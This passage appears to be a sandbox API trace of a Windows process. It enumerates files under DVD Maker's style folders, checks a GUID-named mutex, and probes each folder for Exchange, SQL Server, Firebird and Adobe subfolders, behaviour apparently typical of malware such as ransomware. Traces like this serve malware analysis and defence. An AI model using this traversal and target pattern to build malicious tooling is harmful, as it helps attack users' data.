ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.453] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.453] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.453] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.453] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.453] GlobalUnlock (hMem=0x440004) returned 0 [0058.453] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.453] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.453] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.453] GlobalUnlock (hMem=0x440004) returned 0 [0058.453] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.453] GlobalUnlock (hMem=0x44000c) returned 0 [0058.453] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.453] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.453] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.453] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.453] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.453] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.453] GlobalUnlock (hMem=0x44000c) returned 0 [0058.453] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.453] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.453] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.453] GlobalUnlock (hMem=0x44000c) returned 0 [0058.454] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.454] GlobalUnlock (hMem=0x440004) returned 0 [0058.454] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.454] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0058.454] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.454] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.454] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.454] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.454] GlobalUnlock (hMem=0x440004) returned 0 [0058.454] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.454] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.454] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.454] GlobalUnlock (hMem=0x440004) returned 0 [0058.454] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.454] GlobalUnlock (hMem=0x44000c) returned 0 [0058.454] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.454] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.454] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.454] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.454] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.454] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.454] GlobalUnlock (hMem=0x44000c) returned 0 [0058.454] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.454] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.454] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.454] GlobalUnlock (hMem=0x44000c) returned 0 [0058.454] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.454] GlobalUnlock (hMem=0x440004) returned 0 [0058.455] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.455] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.455] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.455] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.455] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.455] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.455] GlobalUnlock (hMem=0x440004) returned 0 [0058.455] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.455] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.455] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.455] GlobalUnlock (hMem=0x440004) returned 0 [0058.455] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.455] GlobalUnlock (hMem=0x44000c) returned 0 [0058.455] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.455] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.455] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.455] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.455] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.455] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.455] GlobalUnlock (hMem=0x44000c) returned 0 [0058.455] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.455] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.455] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.455] GlobalUnlock (hMem=0x44000c) returned 0 [0058.456] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.456] GlobalUnlock (hMem=0x440004) returned 0 [0058.456] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.456] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.456] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.456] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.456] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.456] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.456] GlobalUnlock (hMem=0x440004) returned 0 [0058.456] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.456] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.456] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.456] GlobalUnlock (hMem=0x440004) returned 0 [0058.456] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.456] GlobalUnlock (hMem=0x44000c) returned 0 [0058.456] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.456] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.456] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.456] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.456] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.456] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.456] GlobalUnlock (hMem=0x44000c) returned 0 [0058.456] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.456] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.456] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.456] GlobalUnlock (hMem=0x44000c) returned 0 [0058.456] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.456] GlobalUnlock (hMem=0x440004) returned 0 [0058.457] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.457] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.457] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.457] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.457] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.457] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.457] GlobalUnlock (hMem=0x440004) returned 0 [0058.457] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.457] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.457] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.457] GlobalUnlock (hMem=0x440004) returned 0 [0058.457] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.457] GlobalUnlock (hMem=0x44000c) returned 0 [0058.457] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.457] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0058.457] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.457] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.457] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.457] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.457] GlobalUnlock (hMem=0x44000c) returned 0 [0058.457] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.457] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.457] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.457] GlobalUnlock (hMem=0x44000c) returned 0 [0058.457] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.457] GlobalUnlock (hMem=0x440004) returned 0 [0058.457] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.458] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0058.458] GetLastError () returned 0x12 [0058.458] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.458] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0058.458] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.458] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.458] GlobalLock (hMem=0x440004) returned 0x550170 [0058.458] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.458] GlobalUnlock (hMem=0x440004) returned 0 [0058.458] GlobalLock (hMem=0x440004) returned 0x550170 [0058.458] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.458] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.458] GlobalUnlock (hMem=0x440004) returned 0 [0058.458] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.458] GlobalUnlock (hMem=0x44000c) returned 0 [0058.458] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.459] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.459] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.459] GlobalUnlock (hMem=0x44000c) returned 0 [0058.459] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.459] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.459] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.459] GlobalUnlock (hMem=0x44000c) returned 0 [0058.459] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.459] GlobalUnlock (hMem=0x440004) returned 0 [0058.459] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.459] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion", len=0x3b | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion") returned 1 [0058.459] GlobalLock (hMem=0x440004) returned 0x550170 [0058.459] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.459] GlobalUnlock (hMem=0x440004) returned 0 [0058.459] GlobalLock (hMem=0x440004) returned 0x550170 [0058.459] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.459] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.459] GlobalUnlock (hMem=0x440004) returned 0 [0058.459] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.459] GlobalUnlock (hMem=0x44000c) returned 0 [0058.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@姀U妔U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0058.468] GetLastError () returned 0x3 [0058.468] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0058.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@夜U企@\x18䃄Q\x181")) returned 0xffffffff [0058.470] GetLastError () returned 0x2 [0058.470] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.470] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.470] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0058.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@蘜T企@\x18?T\x18;")) returned 0xffffffff [0058.472] GetLastError () returned 0x2 [0058.472] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 8 [0058.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@뭼R企@\x18?T\x18D")) returned 0xffffffff [0058.474] GetLastError () returned 0x2 [0058.474] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.474] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.474] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.474] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@夜U企@\x18蘜T\x18j")) returned 0xffffffff [0058.475] GetLastError () returned 0x2 [0058.475] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.475] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ae8, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.476] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵?\x18") returned 6 [0058.476] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@뭼R企@\x18?T\x18q")) returned 0xffffffff [0058.477] GetLastError () returned 0x2 [0058.477] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program 